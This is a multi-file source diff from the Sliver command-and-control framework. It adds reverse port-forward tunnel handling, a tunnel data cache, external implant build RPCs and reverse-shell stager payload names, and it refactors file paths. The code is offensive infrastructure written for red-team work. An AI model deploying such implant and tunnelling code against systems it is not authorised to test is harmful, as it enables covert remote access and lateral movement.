OTPSecret: otpSecret,
|
||||
}, nil
|
||||
}
|
||||
@@ -101,7 +101,7 @@ func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) e
|
||||
return result.Error
|
||||
}
|
||||
storageLog.Infof("%s -> %s", implantBuild.ID, implantBuild.Name)
|
||||
return ioutil.WriteFile(path.Join(buildsDir, implantBuild.ID.String()), data, 0600)
|
||||
return ioutil.WriteFile(filepath.Join(buildsDir, implantBuild.ID.String()), data, 0600)
|
||||
}
|
||||
|
||||
func computeHashes(data []byte) (string, string, string) {
|
||||
@@ -133,7 +133,7 @@ func ImplantFileDelete(build *models.ImplantBuild) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
buildFilePath := path.Join(buildsDir, build.ID.String())
|
||||
buildFilePath := filepath.Join(buildsDir, build.ID.String())
|
||||
if _, err := os.Stat(buildFilePath); os.IsNotExist(err) {
|
||||
return ErrImplantBuildFileNotFound
|
||||
}
|
||||
|
||||
@@ -80,6 +80,7 @@ func beaconRegisterHandler(implantConn *core.ImplantConnection, data []byte) *sl
|
||||
beacon.ActiveC2 = beaconReg.Register.ActiveC2
|
||||
beacon.ProxyURL = beaconReg.Register.ProxyURL
|
||||
// beacon.ConfigID = uuid.FromStringOrNil(beaconReg.Register.ConfigID)
|
||||
beacon.Locale = beaconReg.Register.Locale
|
||||
|
||||
beacon.Interval = beaconReg.Interval
|
||||
beacon.Jitter = beaconReg.Jitter
|
||||
|
||||
@@ -0,0 +1,84 @@
|
||||
package handlers
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"sync"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
var (
|
||||
// TunnelID -> Sequence Number -> Data
|
||||
tunnelDataCache = dataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.TunnelData{}}
|
||||
)
|
||||
|
||||
type dataCache struct {
|
||||
mutex *sync.RWMutex
|
||||
cache map[uint64]map[uint64]*sliverpb.TunnelData
|
||||
}
|
||||
|
||||
func (c *dataCache) Add(tunnelID uint64, sequence uint64, tunnelData *sliverpb.TunnelData) {
|
||||
c.mutex.Lock()
|
||||
defer c.mutex.Unlock()
|
||||
|
||||
if _, ok := c.cache[tunnelID]; !ok {
|
||||
c.cache[tunnelID] = map[uint64]*sliverpb.TunnelData{}
|
||||
}
|
||||
|
||||
c.cache[tunnelID][sequence] = tunnelData
|
||||
}
|
||||
|
||||
func (c *dataCache) Get(tunnelID uint64, sequence uint64) (*sliverpb.TunnelData, bool) {
|
||||
c.mutex.RLock()
|
||||
defer c.mutex.RUnlock()
|
||||
|
||||
if _, ok := c.cache[tunnelID]; !ok {
|
||||
return nil, false
|
||||
}
|
||||
|
||||
val, ok := c.cache[tunnelID][sequence]
|
||||
|
||||
return val, ok
|
||||
}
|
||||
|
||||
func (c *dataCache) DeleteTun(tunnelID uint64) {
|
||||
c.mutex.Lock()
|
||||
defer c.mutex.Unlock()
|
||||
|
||||
delete(c.cache, tunnelID)
|
||||
}
|
||||
|
||||
func (c *dataCache) DeleteSeq(tunnelID uint64, sequence uint64) {
|
||||
c.mutex.Lock()
|
||||
defer c.mutex.Unlock()
|
||||
|
||||
if _, ok := c.cache[tunnelID]; !ok {
|
||||
return
|
||||
}
|
||||
|
||||
delete(c.cache[tunnelID], sequence)
|
||||
}
|
||||
|
||||
func (c *dataCache) Len(tunnelID uint64) int {
|
||||
c.mutex.RLock()
|
||||
defer c.mutex.RUnlock()
|
||||
|
||||
return len(c.cache[tunnelID])
|
||||
}
|
||||
+208
-15
@@ -23,11 +23,17 @@ package handlers
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/core/rtunnels"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
@@ -71,6 +77,7 @@ func registerSessionHandler(implantConn *core.ImplantConnection, data []byte) *s
|
||||
session.Version = register.Version
|
||||
session.ReconnectInterval = register.ReconnectInterval
|
||||
session.ProxyURL = register.ProxyURL
|
||||
session.Locale = register.Locale
|
||||
session.ConfigID = register.ConfigID
|
||||
session.PeerID = register.PeerID
|
||||
core.Sessions.Add(session)
|
||||
@@ -111,18 +118,29 @@ func tunnelDataHandler(implantConn *core.ImplantConnection, data []byte) *sliver
|
||||
tunnelData := &sliverpb.TunnelData{}
|
||||
proto.Unmarshal(data, tunnelData)
|
||||
|
||||
sessionHandlerLog.Debugf("[DATA] Sequence on tunel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)
|
||||
sessionHandlerLog.Debugf("[DATA] Sequence on tunnel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)
|
||||
|
||||
tunnel := core.Tunnels.Get(tunnelData.TunnelID)
|
||||
if tunnel != nil {
|
||||
if session.ID == tunnel.SessionID {
|
||||
tunnel.SendDataFromImplant(tunnelData)
|
||||
} else {
|
||||
sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on tunnel it did not own", session.ID)
|
||||
}
|
||||
rtunnel := rtunnels.GetRTunnel(tunnelData.TunnelID)
|
||||
if rtunnel != nil && session.ID == rtunnel.SessionID {
|
||||
RTunnelDataHandler(tunnelData, rtunnel, implantConn)
|
||||
} else if rtunnel != nil && session.ID != rtunnel.SessionID {
|
||||
sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on reverse tunnel it did not own", session.ID)
|
||||
} else if rtunnel == nil && tunnelData.CreateReverse == true {
|
||||
createReverseTunnelHandler(implantConn, data)
|
||||
//RTunnelDataHandler(tunnelData, rtunnel, implantConn)
|
||||
} else {
|
||||
sessionHandlerLog.Warnf("Data sent on nil tunnel %d, %s", tunnelData.TunnelID, tunnelData.Data)
|
||||
tunnel := core.Tunnels.Get(tunnelData.TunnelID)
|
||||
if tunnel != nil {
|
||||
if session.ID == tunnel.SessionID {
|
||||
tunnel.SendDataFromImplant(tunnelData)
|
||||
} else {
|
||||
sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on tunnel it did not own", session.ID)
|
||||
}
|
||||
} else {
|
||||
sessionHandlerLog.Warnf("Data sent on nil tunnel %d", tunnelData.TunnelID)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -137,7 +155,7 @@ func tunnelCloseHandler(implantConn *core.ImplantConnection, data []byte) *slive
|
||||
|
||||
tunnelData := &sliverpb.TunnelData{}
|
||||
proto.Unmarshal(data, tunnelData)
|
||||
sessionHandlerLog.Debugf("[CLOSE] Sequence on tunel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)
|
||||
sessionHandlerLog.Debugf("[CLOSE] Sequence on tunnel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)
|
||||
if !tunnelData.Closed {
|
||||
return nil
|
||||
}
|
||||
@@ -150,7 +168,15 @@ func tunnelCloseHandler(implantConn *core.ImplantConnection, data []byte) *slive
|
||||
sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on tunnel it did not own", session.ID)
|
||||
}
|
||||
} else {
|
||||
sessionHandlerLog.Warnf("Close sent on nil tunnel %d", tunnelData.TunnelID)
|
||||
rtunnel := rtunnels.GetRTunnel(tunnelData.TunnelID)
|
||||
if rtunnel != nil && session.ID == tunnel.SessionID {
|
||||
rtunnel.Close()
|
||||
rtunnels.RemoveRTunnel(rtunnel.ID)
|
||||
} else if rtunnel != nil && session.ID != tunnel.SessionID {
|
||||
sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on reverse tunnel it did not own", session.ID)
|
||||
} else {
|
||||
sessionHandlerLog.Warnf("Close sent on nil tunnel %d", tunnelData.TunnelID)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -181,10 +207,10 @@ func socksDataHandler(implantConn *core.ImplantConnection, data []byte) *sliverp
|
||||
// return nil
|
||||
//}
|
||||
sessionHandlerLog.Debugf("socksDataHandler:", len(socksData.Data), socksData.Data)
|
||||
SocksTunne := core.SocksTunnels.Get(socksData.TunnelID)
|
||||
if SocksTunne != nil {
|
||||
if session.ID == SocksTunne.SessionID {
|
||||
SocksTunne.FromImplant <- socksData
|
||||
socksTunnel := core.SocksTunnels.Get(socksData.TunnelID)
|
||||
if socksTunnel != nil {
|
||||
if session.ID == socksTunnel.SessionID {
|
||||
socksTunnel.FromImplant <- socksData
|
||||
} else {
|
||||
sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on tunnel it did not own", session.ID)
|
||||
}
|
||||
@@ -193,3 +219,170 @@ func socksDataHandler(implantConn *core.ImplantConnection, data []byte) *sliverp
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func createReverseTunnelHandler(implantConn *core.ImplantConnection, data []byte) *sliverpb.Envelope {
|
||||
session := core.Sessions.FromImplantConnection(implantConn)
|
||||
|
||||
req := &sliverpb.TunnelData{}
|
||||
proto.Unmarshal(data, req)
|
||||
|
||||
var defaultDialer = new(net.Dialer)
|
||||
|
||||
remoteAddress := fmt.Sprintf("%s:%d", req.Rportfwd.Host, req.Rportfwd.Port)
|
||||
|
||||
ctx, cancelContext := context.WithCancel(context.Background())
|
||||
|
||||
dst, err := defaultDialer.DialContext(ctx, "tcp", remoteAddress)
|
||||
//dst, err := net.Dial("tcp", remoteAddress)
|
||||
if err != nil {
|
||||
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
|
||||
Closed: true,
|
||||
TunnelID: req.TunnelID,
|
||||
})
|
||||
implantConn.Send <- &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgTunnelClose,
|
||||
Data: tunnelClose,
|
||||
}
|
||||
cancelContext()
|
||||
}
|
||||
|
||||
if conn, ok := dst.(*net.TCPConn); ok {
|
||||
// {{if .Config.Debug}}
|
||||
//log.Printf("[portfwd] Configuring keep alive")
|
||||
// {{end}}
|
||||
conn.SetKeepAlive(true)
|
||||
// TODO: Make KeepAlive configurable
|
||||
conn.SetKeepAlivePeriod(1000 * time.Second)
|
||||
}
|
||||
|
||||
tunnel := rtunnels.NewRTunnel(req.TunnelID, session.ID, dst, dst)
|
||||
rtunnels.AddRTunnel(tunnel)
|
||||
cleanup := func(reason error) {
|
||||
// {{if .Config.Debug}}
|
||||
sessionHandlerLog.Infof("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
|
||||
// {{end}}
|
||||
tunnel := rtunnels.GetRTunnel(tunnel.ID)
|
||||
rtunnels.RemoveRTunnel(tunnel.ID)
|
||||
dst.Close()
|
||||
cancelContext()
|
||||
}
|
||||
|
||||
go func() {
|
||||
tWriter := tunnelWriter{
|
||||
tun: tunnel,
|
||||
conn: implantConn,
|
||||
}
|
||||
// portfwd only uses one reader, hence the tunnel.Readers[0]
|
||||
n, err := io.Copy(tWriter, tunnel.Readers[0])
|
||||
_ = n // avoid not used compiler error if debug mode is disabled
|
||||
// {{if .Config.Debug}}
|
||||
sessionHandlerLog.Infof("[tunnel] Tunnel done, wrote %v bytes", n)
|
||||
// {{end}}
|
||||
|
||||
cleanup(err)
|
||||
}()
|
||||
|
||||
tunnelDataCache.Add(tunnel.ID, req.Sequence, req)
|
||||
|
||||
// NOTE: The read/write semantics can be a little mind boggling, just remember we're reading
|
||||
// from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence
|
||||
// is used here whereas WriteSequence is used for data written back to the server
|
||||
|
||||
// Go through cache and write all sequential data to the reader
|
||||
for recv, ok := tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()); ok; recv, ok = tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()) {
|
||||
// {{if .Config.Debug}}
|
||||
//sessionHandlerLog.Infof("[tunnel] Write %d bytes to tunnel %d (read seq: %d)", len(recv.Data), recv.TunnelID, recv.Sequence)
|
||||
// {{end}}
|
||||
tunnel.Writer.Write(recv.Data)
|
||||
|
||||
// Delete the entry we just wrote from the cache
|
||||
tunnelDataCache.DeleteSeq(tunnel.ID, tunnel.ReadSequence())
|
||||
tunnel.IncReadSequence() // Increment sequence counter
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
//sessionHandlerLog.Infof("[message just received] %v", tunnelData)
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
//If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.
|
||||
//Send a Resend packet to have the msg resent from the cache
|
||||
if tunnelDataCache.Len(tunnel.ID) > 3 {
|
||||
data, err := proto.Marshal(&sliverpb.TunnelData{
|
||||
Sequence: tunnel.WriteSequence(), // The tunnel write sequence
|
||||
Ack: tunnel.ReadSequence(),
|
||||
Resend: true,
|
||||
TunnelID: tunnel.ID,
|
||||
Data: []byte{},
|
||||
})
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
//sessionHandlerLog.Infof("[shell] Failed to marshal protobuf %s", err)
|
||||
// {{end}}
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
//sessionHandlerLog.Infof("[tunnel] Requesting resend of tunnelData seq: %d", tunnel.ReadSequence())
|
||||
// {{end}}
|
||||
implantConn.RequestResend(data)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func RTunnelDataHandler(tunnelData *sliverpb.TunnelData, tunnel *rtunnels.RTunnel, connection *core.ImplantConnection) {
|
||||
|
||||
// Since we have no guarantees that we will receive tunnel data in the correct order, we need
|
||||
// to ensure we write the data back to the reader in the correct order. The server will ensure
|
||||
// that TunnelData protobuf objects are numbered in the correct order using the Sequence property.
|
||||
// Similarly we ensure that any data we write-back to the server is also numbered correctly. To
|
||||
// reassemble the data, we just dump it into the cache and then advance the writer until we no longer
|
||||
// have sequential data. So we can receive `n` number of incorrectly ordered Protobuf objects and
|
||||
// correctly write them back to the reader.
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
//sessionHandlerLog.Infof("[tunnel] Cache tunnel %d (seq: %d)", tunnel.ID, tunnelData.Sequence)
|
||||
// {{end}}
|
||||
|
||||
tunnelDataCache.Add(tunnel.ID, tunnelData.Sequence, tunnelData)
|
||||
|
||||
// NOTE: The read/write semantics can be a little mind boggling, just remember we're reading
|
||||
// from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence
|
||||
// is used here whereas WriteSequence is used for data written back to the server
|
||||
|
||||
// Go through cache and write all sequential data to the reader
|
||||
for recv, ok := tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()); ok; recv, ok = tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()) {
|
||||
// {{if .Config.Debug}}
|
||||
//sessionHandlerLog.Infof("[tunnel] Write %d bytes to tunnel %d (read seq: %d)", len(recv.Data), recv.TunnelID, recv.Sequence)
|
||||
// {{end}}
|
||||
tunnel.Writer.Write(recv.Data)
|
||||
|
||||
// Delete the entry we just wrote from the cache
|
||||
tunnelDataCache.DeleteSeq(tunnel.ID, tunnel.ReadSequence())
|
||||
tunnel.IncReadSequence() // Increment sequence counter
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
//sessionHandlerLog.Infof("[message just received] %v", tunnelData)
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
//If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.
|
||||
//Send a Resend packet to have the msg resent from the cache
|
||||
if tunnelDataCache.Len(tunnel.ID) > 3 {
|
||||
data, err := proto.Marshal(&sliverpb.TunnelData{
|
||||
Sequence: tunnel.WriteSequence(), // The tunnel write sequence
|
||||
Ack: tunnel.ReadSequence(),
|
||||
Resend: true,
|
||||
TunnelID: tunnel.ID,
|
||||
Data: []byte{},
|
||||
})
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
//sessionHandlerLog.Infof("[shell] Failed to marshal protobuf %s", err)
|
||||
// {{end}}
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
//sessionHandlerLog.Infof("[tunnel] Requesting resend of tunnelData seq: %d", tunnel.ReadSequence())
|
||||
// {{end}}
|
||||
connection.RequestResend(data)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
package handlers
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/core/rtunnels"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// tunnelWriter - Sends data back to the server based on data read()
|
||||
// I know the reader/writer stuff is a little hard to keep track of
|
||||
type tunnelWriter struct {
|
||||
tun *rtunnels.RTunnel
|
||||
conn *core.ImplantConnection
|
||||
}
|
||||
|
||||
func (tw tunnelWriter) Write(data []byte) (int, error) {
|
||||
n := len(data)
|
||||
data, err := proto.Marshal(&sliverpb.TunnelData{
|
||||
Sequence: tw.tun.WriteSequence(), // The tunnel write sequence
|
||||
Ack: tw.tun.ReadSequence(),
|
||||
TunnelID: tw.tun.ID,
|
||||
Data: data,
|
||||
})
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d", n, tw.tun.WriteSequence(), tw.tun.ReadSequence())
|
||||
// {{end}}
|
||||
tw.tun.IncWriteSequence() // Increment write sequence
|
||||
tw.conn.Send <- &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgTunnelData,
|
||||
Data: data,
|
||||
}
|
||||
return n, err
|
||||
}
|
||||
+2
-2
@@ -21,7 +21,7 @@ package log
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
@@ -34,7 +34,7 @@ var (
|
||||
func newAuditLogger() *logrus.Logger {
|
||||
auditLogger := logrus.New()
|
||||
auditLogger.Formatter = &logrus.JSONFormatter{}
|
||||
jsonFilePath := path.Join(GetLogDir(), "audit.json")
|
||||
jsonFilePath := filepath.Join(GetLogDir(), "audit.json")
|
||||
jsonFile, err := os.OpenFile(jsonFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600)
|
||||
if err != nil {
|
||||
panic(fmt.Sprintf("Failed to open log file %v", err))
|
||||
|
||||
@@ -59,6 +59,8 @@ var (
|
||||
"meterpreter/reverse_tcp": true,
|
||||
"meterpreter/reverse_http": true,
|
||||
"meterpreter/reverse_https": true,
|
||||
"custom/reverse_winhttp": true,
|
||||
"custom/reverse_tcp": true,
|
||||
},
|
||||
"linux": {
|
||||
"meterpreter_reverse_http": true,
|
||||
|
||||
@@ -44,6 +44,8 @@ var (
|
||||
|
||||
// ErrInvalidName - Invalid name
|
||||
ErrInvalidName = status.Error(codes.InvalidArgument, "Invalid session name, alphanumerics and _-. only")
|
||||
// ErrBuildExists
|
||||
ErrBuildExists = status.Error(codes.AlreadyExists, "Build already exists")
|
||||
|
||||
ErrInvalidBeaconTaskCancelState = status.Error(codes.InvalidArgument, fmt.Sprintf("Invalid task state, must be '%s' to cancel", models.PENDING))
|
||||
)
|
||||
+109
-5
@@ -23,17 +23,22 @@ import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"path"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/server/codenames"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/cryptography"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
"github.com/bishopfox/sliver/server/generate"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"google.golang.org/grpc/codes"
|
||||
"google.golang.org/grpc/status"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -46,7 +51,7 @@ func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*cl
|
||||
var err error
|
||||
name, config := generate.ImplantConfigFromProtobuf(req.Config)
|
||||
if name == "" {
|
||||
name, err = generate.GetCodename()
|
||||
name, err = codenames.GetCodename()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -64,6 +69,8 @@ func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*cl
|
||||
fPath, err = generate.SliverSharedLibrary(name, config)
|
||||
case clientpb.OutputFormat_SHELLCODE:
|
||||
fPath, err = generate.SliverShellcode(name, config)
|
||||
default:
|
||||
return nil, fmt.Errorf("invalid output format: %s", req.Config.Format)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
@@ -71,7 +78,7 @@ func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*cl
|
||||
}
|
||||
|
||||
filename := filepath.Base(fPath)
|
||||
filedata, err := ioutil.ReadFile(fPath)
|
||||
fileData, err := ioutil.ReadFile(fPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -84,7 +91,7 @@ func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*cl
|
||||
return &clientpb.Generate{
|
||||
File: &commonpb.File{
|
||||
Name: filename,
|
||||
Data: filedata,
|
||||
Data: fileData,
|
||||
},
|
||||
}, err
|
||||
}
|
||||
@@ -178,7 +185,7 @@ func (rpc *Server) ImplantProfiles(ctx context.Context, _ *commonpb.Empty) (*cli
|
||||
// SaveImplantProfile - Save a new profile
|
||||
func (rpc *Server) SaveImplantProfile(ctx context.Context, profile *clientpb.ImplantProfile) (*clientpb.ImplantProfile, error) {
|
||||
_, config := generate.ImplantConfigFromProtobuf(profile.Config)
|
||||
profile.Name = path.Base(profile.Name)
|
||||
profile.Name = filepath.Base(profile.Name)
|
||||
if 0 < len(profile.Name) && profile.Name != "." {
|
||||
rpcLog.Infof("Saving new profile with name %#v", profile.Name)
|
||||
err := generate.SaveImplantProfile(profile.Name, config)
|
||||
@@ -248,3 +255,100 @@ func (rpc *Server) GetCompiler(ctx context.Context, _ *commonpb.Empty) (*clientp
|
||||
rcpLog.Debugf("GetCompiler = %v", compiler)
|
||||
return compiler, nil
|
||||
}
|
||||
|
||||
// *** External builder RPCs ***
|
||||
|
||||
// Generate - Generate a new implant
|
||||
func (rpc *Server) GenerateExternal(ctx context.Context, req *clientpb.GenerateReq) (*clientpb.ExternalImplantConfig, error) {
|
||||
var err error
|
||||
name, config := generate.ImplantConfigFromProtobuf(req.Config)
|
||||
if name == "" {
|
||||
name, err = codenames.GetCodename()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if config == nil {
|
||||
return nil, errors.New("invalid implant config")
|
||||
}
|
||||
req.Config.Format = clientpb.OutputFormat_EXTERNAL
|
||||
externalConfig, err := generate.SliverExternal(name, config)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
core.EventBroker.Publish(core.Event{
|
||||
EventType: consts.ExternalBuildEvent,
|
||||
Data: []byte(config.ID.String()),
|
||||
})
|
||||
|
||||
return externalConfig, err
|
||||
}
|
||||
|
||||
func (rpc *Server) GenerateExternalSaveBuild(ctx context.Context, req *clientpb.ExternalImplantBinary) (*commonpb.Empty, error) {
|
||||
implantConfig, err := db.ImplantConfigByID(req.ImplantConfigID)
|
||||
if err != nil {
|
||||
return nil, status.Error(codes.InvalidArgument, "invalid implant config id")
|
||||
}
|
||||
if implantConfig.Format != clientpb.OutputFormat_EXTERNAL {
|
||||
return nil, status.Error(codes.InvalidArgument, "invalid implant config format")
|
||||
}
|
||||
err = util.AllowedName(req.Name)
|
||||
if err != nil {
|
||||
rpcLog.Errorf("Invalid build name: %s", err)
|
||||
return nil, ErrInvalidName
|
||||
}
|
||||
_, err = db.ImplantBuildByName(req.Name)
|
||||
if err == nil {
|
||||
return nil, ErrBuildExists
|
||||
}
|
||||
|
||||
tmpFile, err := ioutil.TempFile("", "sliver-external-build")
|
||||
if err != nil {
|
||||
rpcLog.Errorf("Failed to create temporary file: %s", err)
|
||||
return nil, status.Error(codes.Internal, "Failed to write implant binary to temp file")
|
||||
}
|
||||
defer os.Remove(tmpFile.Name())
|
||||
_, err = tmpFile.Write(req.File.Data)
|
||||
if err != nil {
|
||||
rcpLog.Errorf("Failed to write implant binary to temp file: %s", err)
|
||||
return nil, status.Error(codes.Internal, "Failed to write implant binary to temp file")
|
||||
}
|
||||
err = generate.ImplantBuildSave(req.Name, implantConfig, "")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
core.EventBroker.Publish(core.Event{
|
||||
EventType: consts.BuildCompletedEvent,
|
||||
Data: []byte(fmt.Sprintf("%s build completed", req.Name)),
|
||||
})
|
||||
|
||||
return &commonpb.Empty{}, nil
|
||||
}
|
||||
|
||||
func (rpc *Server) GenerateExternalGetImplantConfig(ctx context.Context, req *clientpb.ImplantConfig) (*clientpb.ExternalImplantConfig, error) {
|
||||
implantConfig, err := db.ImplantConfigByID(req.ID)
|
||||
if err != nil {
|
||||
return nil, status.Error(codes.InvalidArgument, "invalid implant config id")
|
||||
}
|
||||
if implantConfig.Format != clientpb.OutputFormat_EXTERNAL {
|
||||
return nil, status.Error(codes.InvalidArgument, "invalid implant config format")
|
||||
}
|
||||
|
||||
name, err := codenames.GetCodename()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
otpSecret, err := cryptography.TOTPServerSecret()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return &clientpb.ExternalImplantConfig{
|
||||
Name: name,
|
||||
Config: implantConfig.ToProtobuf(),
|
||||
OTPSecret: otpSecret,
|
||||
}, nil
|
||||
}
|
||||
@@ -34,6 +34,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/codenames"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/generate"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
@@ -107,7 +108,7 @@ func (rpc *Server) HijackDLL(ctx context.Context, req *clientpb.DllHijackReq) (*
|
||||
|
||||
name, config := generate.ImplantConfigFromProtobuf(p.Config)
|
||||
if name == "" {
|
||||
name, err = generate.GetCodename()
|
||||
name, err = codenames.GetCodename()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -141,6 +141,7 @@ func (rpc *Server) StartWGListener(ctx context.Context, req *clientpb.WGListener
|
||||
cfg := &configs.WGJobConfig{
|
||||
Port: listenPort,
|
||||
NPort: nListenPort,
|
||||
KeyPort: keyExchangeListenPort,
|
||||
}
|
||||
configs.GetServerConfig().AddWGJob(cfg)
|
||||
job.PersistentID = cfg.JobID
|
||||
|
||||
@@ -29,9 +29,9 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/codenames"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
"github.com/bishopfox/sliver/server/generate"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/bishopfox/sliver/server/msf"
|
||||
)
|
||||
@@ -166,10 +166,9 @@ func (rpc *Server) MsfStage(ctx context.Context, req *clientpb.MsfStagerReq) (*c
|
||||
case clientpb.StageProtocol_TCP:
|
||||
payload = "meterpreter/reverse_tcp"
|
||||
case clientpb.StageProtocol_HTTP:
|
||||
payload = "meterpreter/reverse_http"
|
||||
uri = generateCallbackURI()
|
||||
fallthrough
|
||||
case clientpb.StageProtocol_HTTPS:
|
||||
payload = "meterpreter/reverse_https"
|
||||
payload = "custom/reverse_winhttp"
|
||||
uri = generateCallbackURI()
|
||||
